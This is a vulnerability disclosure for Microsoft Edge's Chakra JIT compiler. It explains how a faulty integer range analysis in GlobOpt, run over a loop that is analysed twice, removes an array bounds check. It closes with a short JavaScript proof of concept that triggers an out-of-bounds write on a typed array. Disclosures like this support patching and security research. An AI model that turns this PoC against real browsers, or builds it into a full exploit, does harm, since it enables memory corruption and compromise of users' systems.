Microsoft Edge Chakra JIT - Incorrect Bounds Calculation

/*
Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.
            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track
            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should
            // also track that it is equal to (the value of 'b') - 2.

This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.

function opt(j) {
    let k = j + 0x7ffffff0;
    // (a)
}


But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.

For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.

function opt(j) {
    if (j <= 100)
        return;

    let k = j + 0x7ffffff0;
}


Now, let's take a look at the PoC.

function opt() {
    let j = 0;
    for (let i = 0; i < 2; i++) {
        // (a)
        j += 0x100000;
        // (b)
        let k = j + 0x7ffffff0; // (c)
    }
}

Note that all loops are analyzed twice in the JIT optimization process.

Here's what happens in the analyses.

In the first analysis:
At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.
At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.

In the second analysis:
At (a), Chakra considers "j" to be in the range of 0 to 15.
At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.
At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.


In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.

However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.

PoC demonstrating OOB write:
*/
function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();

// At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.